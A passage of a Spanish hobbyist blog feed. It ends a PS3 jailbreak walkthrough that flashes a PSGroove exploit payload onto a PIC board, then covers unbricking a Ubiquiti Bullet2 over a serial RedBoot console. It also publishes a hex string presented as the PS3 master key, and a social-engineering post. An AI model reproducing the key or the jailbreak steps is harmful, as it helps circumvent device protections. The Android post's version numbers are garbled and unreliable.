PSGrooPIC_PL3_e10bf9808249134c77b857247420478ceea0a565.zip -d PL3GrooPic&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Así que baje el diolan bootloader lo compile, puse el pic en el modo bootloader poniendo en corto los pines pgd y pgc de lo que nos daremos cuenta porque el led queda encendido y porque con dmesg veremos lo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;[11900.617561] usb 1-1.3: new full speed USB device using uhci_hcd and address 14&lt;br /&gt;[11900.730544] usb 1-1.3: New USB device found, idVendor=04d8, idProduct=fd0b&lt;br /&gt;[11900.730557] usb 1-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=0&lt;br /&gt;[11900.730565] usb 1-1.3: Product: Diolan&lt;br /&gt;[11900.730572] usb 1-1.3: Manufacturer: Diolan&lt;br /&gt;[11900.741084] generic-usb 0003:04D8:FD0B.0005: hidraw2: USB HID v1.01 Device [Diolan Diolan] on usb-0000:00:1f.2-1.3/input0&lt;/div&gt;&lt;br /&gt;Luego los trate de flashear , pero no hubo caso.&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;# ./fw_update  -vid 0x04d8 -pid 0xfd0b -e -w -ix PL3GrooPic/payload_dev/wBTL_MCHP/PSGrooPIC_PL3_PAYLOAD_DEV_FW3_15_wBTL_MCHP.hex &lt;br /&gt;U2IO flash erasing: FAILED.&lt;br /&gt;Device is not found.&lt;br /&gt;Operation aborted.&lt;/div&gt;&lt;br /&gt;Investigue y encontré otra version parcheada pero que tampoco andaba y entre las dos hice una que si me permitía flashear la deje &lt;a href="https://github.com/daedalus/fw_update"&gt;aquí&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Pueden clonarla con:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$git clone git://github.com/daedalus/fw_update.git&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego compilarla con:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$make &amp;amp;&amp;amp; make install&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego para flashear el chip, repetimos el mismo paso anterior:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;# ./fw_update  -vid 0x04d8 -pid 0xfd0b -e -w -ix PL3GrooPic/payload_dev/wBTL_MCHP/PSGrooPIC_PL3_PAYLOAD_DEV_FW3_15_wBTL_MCHP.hex &lt;br /&gt;U2IO flash erasing: DONE.&lt;br /&gt;U2IO flash programming: DONE.&lt;br /&gt;RESET Device&lt;br /&gt;Operation successfully completed.&lt;/div&gt;&lt;br /&gt;Lo importante aquí es la versión a utilizar del payload en este caso utilice la que viene con el bootloader MHCP y no HID otras por el simple motivo de que el bootloader MHCP tiene el mismo entry point que el bootloader diolan, asi que funciona sin problemas.&lt;br /&gt;Luego decidí utilizar el payload que tiene las syscalls de peek y poke solo para experimentar un poco y por ultimo verifique la version del firmware la 3.15.&lt;br /&gt;&lt;br /&gt;Si todo salio bien deberíamos de ver esto:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;[11637.903398] usb 1-1.3: USB disconnect, address 5&lt;br /&gt;[11640.025296] usb 1-1.3: new full speed USB device using uhci_hcd and address 10&lt;br /&gt;[11640.135292] usb 1-1.3: New USB device found, idVendor=aaaa, idProduct=cccc&lt;br /&gt;[11640.135305] usb 1-1.3: New USB device strings: Mfr=0, Product=0, SerialNumber=0&lt;br /&gt;[11640.139574] hub 1-1.3:1.0: USB hub found&lt;br /&gt;[11640.140289] hub 1-1.3:1.0: 6 ports detected&lt;br /&gt;[11640.142279] hub 1-1.3:1.0: hub_hub_status failed (err = -32)&lt;br /&gt;[11640.142290] hub 1-1.3:1.0: config failed, can't get hub status (err -32)&lt;/div&gt;&lt;br /&gt;Y listo conectamos en la ps3 en el puerto 1 presionamos power enseguida eject, y voila!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-8885158302472702000?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/8885158302472702000/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/01/mi-jailbreak-casero-para-la-ps3.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8885158302472702000'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8885158302472702000'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/01/mi-jailbreak-casero-para-la-ps3.html' title='Mi Jailbreak casero para la PS3'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/__2CpOkNZ4-k/TSUeyT25kUI/AAAAAAAAAU8/4qD_c3jCzNM/s72-c/img.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-8388450318388412344</id><published>2011-01-02T17:22:00.000-08:00</published><updated>2011-01-02T17:28:23.660-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='openwrt'/><category scheme='http://www.blogger.com/atom/ns#' term='bullet2'/><category scheme='http://www.blogger.com/atom/ns#' term='bus-pirate'/><title type='text'>Unbricking the bullet2</title><content type='html'>Tenia el &lt;a href="http://www.ubnt.com/bullet%20"&gt;bullet2&lt;/a&gt; archivado y decidi actualizarle el firmware pero por quien sabe me quedo mal actualizado y por ende brickeado.&lt;br /&gt;&lt;br /&gt;El bootloader no me funcionaba desde la lan asi que procedí a abrir el bullet2 y lo conecte a una interface &lt;a href="http://dangerousprototypes.com/category/bus-pirate/%20"&gt;bus-pirate&lt;/a&gt;, el cual es capas de emular varios protocolos entre los cuales el viejisimo UART a 3.3v que es el protocolo que utiliza el puerto que viene soldado con 4 pines en la PCB del bullet2.&lt;br /&gt;&lt;br /&gt;Conecte el bus-pirate a mi computadora y me conocete con minicom&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;neuromancer:/home/daedalus# minicom&lt;br /&gt;&lt;br /&gt;Welcome to minicom 2.4-rc1&lt;br /&gt;&lt;br /&gt;OPCIONES: I18n&lt;br /&gt;Compilado en Nov 23 2009, 17:11:14.&lt;br /&gt;Port /dev/ttyUSB0&lt;br /&gt;&lt;br /&gt;Presione CTRL-A Z para obtener ayuda sobre teclas especiales                                           &lt;br /&gt;&lt;br /&gt;* Syntax error, type ? for help                                                                        &lt;br /&gt;HiZ&amp;gt;AT S7=45 S0=0 L1 V1 X4 &amp;amp;c1 E1 Q0                                                                   &lt;br /&gt;No mode set, M for mode&lt;br /&gt;HiZ&amp;gt;M&lt;br /&gt;1. HiZ&lt;br /&gt;2. 1-WIRE&lt;br /&gt;3. UART&lt;br /&gt;4. I2C&lt;br /&gt;5. SPI&lt;br /&gt;6. JTAG&lt;br /&gt;7. RAW2WIRE&lt;br /&gt;8. RAW3WIRE&lt;br /&gt;9. PC KEYBOARD&lt;br /&gt;10. LCD&lt;br /&gt;(1) &amp;gt;3&lt;br /&gt;Mode selected&lt;br /&gt;Set serial port speed: (bps)&lt;br /&gt;1. 300&lt;br /&gt;2. 1200&lt;br /&gt;3. 2400&lt;br /&gt;4. 4800&lt;br /&gt;5. 9600&lt;br /&gt;6. 19200&lt;br /&gt;7. 38400&lt;br /&gt;8. 57600&lt;br /&gt;9. 115200&lt;br /&gt;10. 31250 (MIDI)&lt;br /&gt;(1) &amp;gt;5&lt;br /&gt;Data bits and parity:&lt;br /&gt;1. 8, NONE *default&lt;br /&gt;2. 8, EVEN&lt;br /&gt;3. 8, ODD&lt;br /&gt;4. 9, NONE&lt;br /&gt;(1) &amp;gt;&lt;br /&gt;Stop bits:&lt;br /&gt;1. 1 *default&lt;br /&gt;2. 2&lt;br /&gt;(1) &amp;gt;&lt;br /&gt;Receive polarity:&lt;br /&gt;1. Idle 1 *default&lt;br /&gt;2. Idle 0&lt;br /&gt;(1) &amp;gt;&lt;br /&gt;Select output type:&lt;br /&gt;1. Open drain (H=Hi-Z, L=GND)&lt;br /&gt;2. Normal (H=3.3V, L=GND)&lt;br /&gt;(1) &amp;gt;2&lt;br /&gt;READY&lt;br /&gt;UART&amp;gt;(1)&lt;br /&gt;UART bridge. Space continues, anything else exits.&lt;br /&gt;Reset to exit.&lt;br /&gt;+Ethernet eth0: MAC address 00:15:6d:ae:24:68&lt;br /&gt;IP: 0.0.0.0./255.255.255.255, Gateway: 0.0.0.0&lt;br /&gt;Default server: 0.0.0.0&lt;br /&gt;&lt;br /&gt;RedBoot(tm) bootstrap and debug environment [ROMRAM]&lt;br /&gt;Ubiquiti Networks certified release, version 0.9.3.02 - built 15:32:07, Aug 21 2008&lt;br /&gt;&lt;br /&gt;Copyright (C) 2000, 2001, 2002, 2003, 2004 Red Hat, Inc.&lt;br /&gt;&lt;br /&gt;Board: Ubiquiti ar2315/6 based board&lt;br /&gt;RAM: 0x80000000-0x81000000, [0x80040fa0-0x80fe1000] available&lt;br /&gt;FLASH: 0xbfc00000 - 0xbfff0000, 64 blocks of 0x00010000 bytes each.&lt;br /&gt;== Executing boot script in 1.000 seconds - enter ^C to abort&lt;/div&gt;&lt;br /&gt;Al lograr entrar enseguida tenemos que precionar Control+C para evitar qe el bootloader cargue y ejecute el kernel y automaticamente nos da una shell.&lt;br /&gt;Al tener dicha shell configure una ip 192.168.12.2 para poder conectarme por telnet a la dicha ip puerto 9000.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;RedBoot&amp;gt; ip_address -l 192.168.12.2/24 -h 192.168.12.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego desactivo el script de arranque que es el que carga el kernel.&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;RedBoot&amp;gt; fconfig -i&lt;br /&gt;Initialize non-volatile configuration - continue (y/n)? y&lt;br /&gt;Run script at boot: false&lt;br /&gt;Use BOOTP for network configuration: false&lt;br /&gt;Gateway IP address: 192.168.12.1&lt;br /&gt;Local IP address: 192.168.12.2&lt;br /&gt;Local IP address mask: 255.255.255.0&lt;br /&gt;Default server IP address: 192.168.12.1&lt;br /&gt;Console baud rate: 9600&lt;br /&gt;GDB connection port: 9000&lt;br /&gt;Force console for special debug messages: false&lt;br /&gt;Network debug at boot time: false&lt;br /&gt;Update RedBoot non-volatile configuration - continue (y/n)? y&lt;br /&gt;... Erase from 0xbffe0000-0xbfff0000: .&lt;br /&gt;... Program from 0x80ff0000-0x81000000 at 0xbffe0000: .&lt;/div&gt;&lt;br /&gt;Luego de desactivar el script activo el servidor tftp con urescue para poder subir la nueva version del firmware.&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;RedBoot&amp;gt; urescue&lt;br /&gt;TFTPD initialized on 192.168.12.2/255.255.255.0 port: 69 (Memory: [0x80041000-0x80fe1000])&lt;br /&gt;TFTPD: waiting for connection...&lt;br /&gt;TFTPD: waiting for connection...&lt;br /&gt;TFTPD: waiting for connection...&lt;br /&gt;TFTPD: Incoming connection from 192.168.12.1:55681&lt;br /&gt;Received:  2752920 bytes&lt;br /&gt;Firmware Version: XS2.ar2316.OpenWrt.r20728&lt;br /&gt;Initializing default partitions for 4M flash size.&lt;br /&gt;Created 'kernel' - base: 0xBFC30000, mem base; 0x80041000, entry: 0x80041000, size: 0x000E0000&lt;br /&gt;Created 'rootfs' - base: 0xBFD10000, mem base; 0xBFD00000, entry: 0x00000000, size: 0x002B0000&lt;/div&gt;&lt;br /&gt;Y desde la pc en una terminal subimos el firmware nuevo con:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;neuromancer:/home/daedalus# wget &lt;a href="http://downloads.openwrt.org/backfire/10.03/atheros/openwrt-atheros-ubnt2-squashfs.bin"&gt;http://downloads.openwrt.org/backfire/10.03/atheros/openwrt-atheros-ubnt2-squashfs.bin&lt;/a&gt;&lt;br /&gt;neuromancer:/home/daedalus# /bin/echo -e "mode binary\ntrace\nverbose\nrxmt 60\nput openwrt-atheros-ubnt2-squashfs.bin" | tftp 192.168.12.2&lt;/div&gt;&lt;br /&gt;en la consola con el minicom deberíamos de ver:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;Updating FIS directory!&lt;br /&gt;... Erase from 0xbffe0000-0xbfff0000: .&lt;br /&gt;... Program from 0x80ff0000-0x81000000 at 0xbffe0000: .&lt;br /&gt;&lt;br /&gt;Flashing partition 'kernel' (size: 0x000E0000, actual data: 0x000E0000)&lt;br /&gt;... Erase from 0xbfc30000-0xbfd10000: ..............&lt;br /&gt;... Program from 0x80041144-0x80121144 at 0xbfc30000: ..............&lt;br /&gt;&lt;br /&gt;Flashing partition 'rootfs' (size: 0x002B0000, actual data: 0x001C0000)&lt;br /&gt;... Erase from 0xbfd10000-0xbffc0000: ...........................................&lt;br /&gt;... Program from 0x80121184-0x802e1184 at 0xbfd10000: ..............&lt;/div&gt;&lt;br /&gt;Si logramos ver lo anterior es porque fue cargado y flasheado con exito.&lt;br /&gt;Luego procedemos a desactivar la cache cargar el kernel y ejecutarlo&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;RedBoot&amp;gt; cache off&lt;br /&gt;iedBoot&amp;gt; fis load -d -e kernel&lt;br /&gt;go&lt;/div&gt;&lt;br /&gt;Si todo va bien tendriamos que terminar viendo los mensajes del kernel los mismos que se ven con dmesg.&lt;br /&gt;&lt;br /&gt;Por defecto &lt;a href="http://www.openwrt.org/"&gt;openwrt&lt;/a&gt; viene configurado con la ip 192.168.1.1&lt;br /&gt;&lt;br /&gt;configuramos nuevamente el script de arranque par que cargue el kernel al bootear con 2 segundos de timeout.&lt;br /&gt;y por ultimo reseteamos&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;RedBoot&amp;gt; fconfig -d&lt;br /&gt;Run script at boot: true ? true&lt;br /&gt;Enter script, terminate with empty line&lt;br /&gt;&amp;gt;&amp;gt; cache off&lt;br /&gt;&amp;gt;&amp;gt; fis load -d -e kernel&lt;br /&gt;&amp;gt;&amp;gt; exec&lt;br /&gt;&amp;gt;&amp;gt;&lt;br /&gt;Boot script timeout (1000ms resolution): 5000 ? 2&lt;br /&gt;Use BOOTP for network configuration: false ?&lt;br /&gt;Gateway IP address: 192.168.12.1 ?&lt;br /&gt;Local IP address: 192.168.12.1 ?&lt;br /&gt;Local IP address mask: 255.255.255.0 ?&lt;br /&gt;Default server IP address: 192.168.12.1 ?&lt;br /&gt;Console baud rate: 9600 ?&lt;br /&gt;GDB connection port: 9000 ?&lt;br /&gt;Force console for special debug messages: false ?&lt;br /&gt;Network debug at boot time: false ?&lt;br /&gt;Update RedBoot non-volatile configuration - continue (y/n)? y&lt;br /&gt;... Erase from 0xbffe0000-0xbfff0000: .&lt;br /&gt;... Program from 0x80ff0000-0x81000000 at 0xbffe0000: .&lt;br /&gt;RedBoot&amp;gt; reset&lt;/div&gt;&lt;br /&gt;Esperamos un minuto y hacemos telnet a 192.168.1.1 y voila!&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;neuromancer:/home/daedalus# telnet 192.168.1.1&lt;br /&gt;Trying 192.168.1.1....&lt;br /&gt;&lt;br /&gt;BusyBox v1.15.3 (2010-04-06 03:13:33 CEST) built-in shell (ash)&lt;br /&gt;Enter 'help' for a list of built-in commands.&lt;br /&gt;&lt;br /&gt;_______                     ________        __&lt;br /&gt;|       |.-----.-----.-----.|  |  |  |.----.|  |_&lt;br /&gt;|   -   ||  _  |  -__|     ||  |  |  ||   _||   _|&lt;br /&gt;|_______||   __|_____|__|__||________||__|  |____|&lt;br /&gt;|__| W I R E L E S S   F R E E D O M&lt;br /&gt;Backfire (10.03, r20728) --------------------------&lt;br /&gt;* 1/3 shot Kahlua    In a shot glass, layer Kahlua &lt;br /&gt;* 1/3 shot Bailey's  on the bottom, then Bailey's, &lt;br /&gt;* 1/3 shot Vodka     then Vodka.&lt;br /&gt;---------------------------------------------------&lt;br /&gt;root@OpenWrt:~# &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-8388450318388412344?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/8388450318388412344/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/01/unbricking-bullet2.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8388450318388412344'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8388450318388412344'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/01/unbricking-bullet2.html' title='Unbricking the bullet2'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-9037824094013544608</id><published>2011-01-01T17:30:00.000-08:00</published><updated>2011-01-01T17:30:38.946-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='toques'/><title type='text'>Katatonia en montevideo</title><content type='html'>La banda Sueca de &lt;a href="http://en.wikipedia.org/wiki/Doom_metal"&gt;Doom metal&lt;/a&gt; Katatonia, se presentara el 26 de febrero en&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Montevideo"&gt;montevideo&lt;/a&gt;, el lugar exacto esta por ser anunciado.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://katatonia.com/images/head.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="150" src="http://katatonia.com/images/head.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En la &lt;a href="http://katatonia.com/tour-dates/"&gt;sitio oficial&lt;/a&gt; de la banda ya esta confirmada la fecha.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-9037824094013544608?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/9037824094013544608/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/01/katatonia-en-montevideo.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/9037824094013544608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/9037824094013544608'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/01/katatonia-en-montevideo.html' title='Katatonia en montevideo'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-4216588245543401568</id><published>2010-12-23T12:17:00.000-08:00</published><updated>2010-12-23T12:18:35.872-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><category scheme='http://www.blogger.com/atom/ns#' term='ps3'/><title type='text'>El numero de la bestia 3</title><content type='html'>El siguiente numero:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;2A 41 C2 93 F8 15 D8 91 65 6D C3 74 6D 0E 33 EC 7B 39 5B 92&lt;/div&gt;&lt;br /&gt;Es la master key de la PS3!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-4216588245543401568?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/4216588245543401568/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/12/el-numero-de-la-bestia-3.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4216588245543401568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4216588245543401568'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/12/el-numero-de-la-bestia-3.html' title='El numero de la bestia 3'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-2020660269490464968</id><published>2010-12-21T17:16:00.000-08:00</published><updated>2010-12-21T17:16:05.779-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><category scheme='http://www.blogger.com/atom/ns#' term='ingenieria social'/><title type='text'>Hacking sin computadoras!</title><content type='html'>&lt;span class="Apple-style-span" style="color: red;"&gt;ESTA LECTURA ES DE&amp;nbsp;CARÁCTER&amp;nbsp;EDUCATIVA, COMO AUTOR DE ESTE BLOG NO RECOMIENDO SU PRACTICA.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Cuando hablo de hacking sin computadoras seguramente muchos se pregunten si me pire o&amp;nbsp;quizá&amp;nbsp;este hablando prheacking o algo parecido...&lt;br /&gt;No estoy hablando de hackear algo que se puede hackear y que se ha hecho desde que el ser humano existe, nuestro propio cerebro.&lt;br /&gt;El mismo que teniendo un esquema armado del mundo cae ante una&amp;nbsp;ilusión&amp;nbsp;de un mago.&lt;br /&gt;&lt;br /&gt;Bueno estoy hablando de hackear el cerebro y para eso existe la&amp;nbsp;ingeniería&amp;nbsp;social al igual que un ilusionista un hacker que haga uso de estos&amp;nbsp;métodos&amp;nbsp;puede engañar nuestro cerebro y&amp;nbsp;prácticamente&amp;nbsp;sin que nos demos cuenta y terminar colaborarando con este, de eso se trata, el alcance del impacto de estas practicas no se limita solamente al mundo de la&amp;nbsp;informática&amp;nbsp;sino a toda actividad que el ser humano realiza cotidianamente.&lt;br /&gt;&lt;br /&gt;Hasta ahora solo&amp;nbsp;existía&amp;nbsp;la &lt;a href="http://es.wikipedia.org/wiki/Ingenier%C3%ADa_social_(seguridad_inform%C3%A1tica)"&gt;Ingeniera Social&lt;/a&gt; como una practica que los mas&amp;nbsp;hábiles&amp;nbsp;en cuestiones sociales y de labia&amp;nbsp;podían&amp;nbsp;practicar y que se encontraba en un estado de ocultismo. Pero ahora eso ha cambiado, hace unas dos semanas salio a la luz en el&amp;nbsp;Internet&amp;nbsp;un portal de&amp;nbsp;ingeniería&amp;nbsp;social que se llama &lt;a href="http://www.social-engineer.org/"&gt;www.social-engineer.org&lt;/a&gt;.&lt;br /&gt;Este sitio como ya mencione existe hace aproximadamente 2 semanas y ya cuenta con los&amp;nbsp;suficientes&amp;nbsp;recursos para que cualquier "dummy" como yo pueda incursionar en estas practicas.&lt;br /&gt;&lt;br /&gt;El sitio actualmente provee de un autodenominado &lt;a href="http://en.wikipedia.org/wiki/Framework"&gt;framework&lt;/a&gt; en el cual podemos encontrar secciones desde como elegir a la victima hasta que&amp;nbsp;método&amp;nbsp;seguir para persuadirlo incluso contiene ejemplos de la vida real.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-2020660269490464968?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/2020660269490464968/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/12/hacking-sin-computadoras.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2020660269490464968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2020660269490464968'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/12/hacking-sin-computadoras.html' title='Hacking sin computadoras!'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-1763370960523967634</id><published>2010-12-20T21:04:00.000-08:00</published><updated>2010-12-20T21:05:07.152-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sip'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='voip'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Salio Android 2.3</title><content type='html'>Ya salio la&amp;nbsp;versión&amp;nbsp;3.0 del sistema operativo de celulares &lt;a href="http://www.android.com/"&gt;Android&lt;/a&gt; que se llama Gingerbread y con esta el SDK 2.3.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.shaswatpatel.com/wp-content/uploads/2010/08/Android-Gingerbread-3.0.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="228" src="http://www.shaswatpatel.com/wp-content/uploads/2010/08/Android-Gingerbread-3.0.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Como principales features trae soporte para:&lt;br /&gt;*&lt;a href="http://es.wikipedia.org/wiki/Voz_sobre_IP"&gt; Voz sobre ip&lt;/a&gt; con el protocolo &lt;a href="http://en.wikipedia.org/wiki/Session_Initiation_Protocol"&gt;SIP&lt;/a&gt;.&lt;br /&gt;* Nuevos sensores: gyroscopio, sensor de gravedad y&amp;nbsp;barómetro.&lt;br /&gt;* Hardware &lt;a href="http://en.wikipedia.org/wiki/Near_field_communication"&gt;Near Field Communications&lt;/a&gt; que es simplemente una extension de &lt;a href="http://en.wikipedia.org/wiki/RFID"&gt;RFID&lt;/a&gt;.&lt;br /&gt;* EVDO 4G.&lt;br /&gt;*&amp;nbsp;Múltiples&amp;nbsp;camaras.&lt;br /&gt;* Extensiones &lt;a href="http://en.wikipedia.org/wiki/OpenGL_ES"&gt;OpenGL ES 2.0&lt;/a&gt;&lt;br /&gt;* Mejoras en la maquina virtual dalvik&lt;br /&gt;&lt;br /&gt;&lt;a href="http://developer.android.com/sdk/android-2.3.html"&gt;Aquí&lt;/a&gt;&amp;nbsp;pueden encontrar mas&amp;nbsp;información&lt;br /&gt;&lt;br /&gt;Todo esto quiere decir que en breve tendremos una rom instalable en nuestro&amp;nbsp;teléfono&amp;nbsp;celular que al menos soporta&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Session_Initiation_Protocol"&gt;SIP&lt;/a&gt;&amp;nbsp;de forma nativa :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-1763370960523967634?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/1763370960523967634/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/12/salio-android-23.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1763370960523967634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1763370960523967634'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/12/salio-android-23.html' title='Salio Android 2.3'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 